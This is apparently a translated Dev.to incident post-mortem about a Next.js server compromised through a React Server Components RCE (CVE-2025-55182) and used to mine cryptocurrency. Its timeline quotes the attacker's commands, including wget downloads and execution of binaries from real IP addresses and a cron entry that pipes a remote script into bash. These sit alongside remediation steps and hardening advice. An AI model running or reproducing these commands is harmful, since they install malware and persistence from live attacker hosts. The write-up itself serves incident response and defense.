我们被黑客入侵:CVE-2025-55182 如何把我们的 Next.js 应用变成加密挖矿

发布: (2025年12月8日 GMT+8 14:05)
7 min read
原文: Dev.to

Source: Dev.to

TL;DR

我们的 Next.js 应用在 CVE‑2025‑55182 公布两天后被攻破。React Server Components 中的关键远程代码执行漏洞让攻击者部署了加密挖矿恶意软件。完整修复耗时约 15 分钟。

改变一切的通知

上午 8:30 – Slack 通知:“管理员面板宕机。网关错误遍布。”

上午 8:32 – PM2 进程列表显示频繁崩溃:

 0 boss-backend waiting 8450 0%

后端崩溃了 8,450 次

发现:确凿证据

在调查崩溃日志时,安全监控标记出一个高 CPU 进程,已悄悄运行约 2 天:

WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%

kdevtmpfsi 是众所周知的加密矿工恶意软件特征。我们的服务器在不知情的情况下被用于挖矿。

漏洞概述:CVE‑2025‑55182

细节
CVE 编号CVE‑2025‑55182
受影响组件React Server Components (RSC)
受影响版本Next.js 15.x(补丁前),React 19.0‑19.2
我们的版本Next.js 15.5.0 ❌
攻击向量网络,无需身份验证
CVSS 评分10.0(严重)

为什么如此危险

缺陷位于 React Server Components 的 “Flight” 协议中,该协议负责服务器与客户端之间的序列化/反序列化。不安全的反序列化使攻击者能够构造恶意 HTTP 请求,在服务器上执行任意代码。

关键特性

  • 无需身份验证
  • 在默认配置下即可生效
  • 已有公开利用代码
  • 单个请求即可完成攻击

传统的外围防御(防火墙、限流、Fail2ban)无法阻止此类应用层漏洞。

我们是如何被入侵的(时间线)

2025 年 12 月 5 日

下午 12:30 – 第一次攻击尝试

wget http://45.76.155.14/vim -O /tmp/vim
chmod +x /tmp/vim
nohup /tmp/vim > /dev/null 2>&1

攻击者下载并执行了伪装成 “vim” 的恶意二进制文件。

下午 1:50 – 第二波(僵尸网络部署)

wget -q http://194.69.203.32:81/hiddenbink/react.sh -O bins.sh
chmod 777 bins.sh
./bins.sh

下午 5:01 – 载荷投递(Kinsing 加密矿工)

wget http://193.34.213.150/nuts/lc -O /tmp/config.json
wget http://193.34.213.150/nuts/x -O /tmp/fghgf

2025 年 12 月 6 日

  • 约午夜kdevtmpfsi 生成,CPU 占用 352 %(≈3.5 核心)。
  • 下午 7:04 – 攻击者安装持久化 cron 任务。

2025 年 12 月 8 日

  • 上午 5:33 – 系统失去响应,调查开始。

攻击者实际获得的内容

已安装的恶意软件

  • Kinsing (/tmp/kinsing) – 投放器/加载器
  • Kdevtmpfsi (/tmp/kdevtmpfsi) – 基于 XMRig 的 Monero 加密矿工
  • Libsystem.so (/tmp/libsystem.so) – LD_PRELOAD rootkit(进程隐藏)
  • config.json (/tmp/config.json) – 挖矿池配置

持久化机制

@reboot /usr/bin/.kworker react 20.193.135.188:443
* * * * * wget -q -O - http://80.64.16.241/re.sh | bash

第二行每分钟执行一次,确保即使手动删除后恶意软件仍会恢复。

攻击者未得到的东西

  • 未进行数据泄露 – 仅是 CPU 盗用。
  • 未获取 root 权限 – 攻击者仅拥有用户级权限。
  • 未横向移动 – 攻击局限于单台服务器。

我们的安全防护为何失效

安全措施失效原因
Fail2ban设计用于防止暴力破解,而非代码注入。
UFW 防火墙攻击通过合法的 HTTPS(443 端口)进入。
Redis 认证攻击未针对 Redis,而是使用 HTTP。
安全监控检测到 kdevtmpfsi,但未识别为恶意软件。

根本原因:过度依赖外围安全,而缺乏强有力的应用层防护。

修复(15 分钟)

步骤 1:杀掉恶意进程

sudo kill -9 $(pgrep -f kdevtmpfsi)
sudo kill -9 $(pgrep -f kinsing)

步骤 2:清除持久化

# 清理 crontab
echo "*/5 * * * * /path/to/legitimate-monitor.sh" | crontab -

# 删除恶意文件
sudo rm -f /tmp/kinsing /tmp/kdevtmpfsi /tmp/libsystem.so /tmp/config.json

步骤 3:修补应用

cd apps/web
npm install next@15.5.7 react@19.0.1 react-dom@19.0.1
npm run build
pm2 restart boss-frontend

步骤 4:验证

npm list next
# ✓ next@15.5.7 (patched version confirmed)

总耗时:约 15 分钟,从发现到完全恢复。

教训总结

出错之处

  • 补丁延迟 – CVE 于 12 月 3 日披露,12 月 5 日被利用(窗口 2 天)。
  • 检测不完整 – 安全监控未标记恶意进程。
  • 缺乏出站监控 – 未捕获到与矿池的连接。
  • 过度自信 – 误以为外围安全足够。

做对的事

  • 已有监控 – PM2 提示重复崩溃。
  • 响应迅速 – 在数分钟内完成全部遏制。
  • 损失有限 – 仅资源被盗,无数据丢失。
  • 自动化工具 – PM2 与 npm 加速了恢复过程。

如何自我防护

立即行动(立刻执行)

检查版本

npm list next
npm list react
npm list react-dom

如果使用 Next.js 15.x、16.x 或 React 19.0‑19.2,则存在风险。

升级到已修补的版本

npm install next@latest react@latest react-dom@latest
npm run build
  • 订阅安全通告。
  • 在 CI/CD 流水线中加入 npm audit
  • 启用 Dependabot、Snyk 或类似的自动警报。
  • 关注 Vercel 的安全更新。

短期防护(本周内)

启用 WAF 规则
若使用 Cloudflare、AWS WAF 或 Vercel,打开其 RSC 防护规则——针对 CVE‑2025‑55182 的专用防御已可用。

在 CI/CD 中加入依赖扫描

npm audit --audit-level=high

若发现关键漏洞则使构建失败。

长期改进(本月内)

  • 监控出站连接 – 记录并警报异常出站流量;矿池通常会连接到已知 IP。
  • 实现 CPU/内存异常检测 – 当进程使用率超出正常阈值时触发告警。
  • 采用应用层安全测试 – 包括模糊测试和安全反序列化检查,针对 React Server Components。
  • 定期更新第三方库 – 自动化版本检查并及时应用安全补丁。
Back to Blog

相关文章

阅读更多 »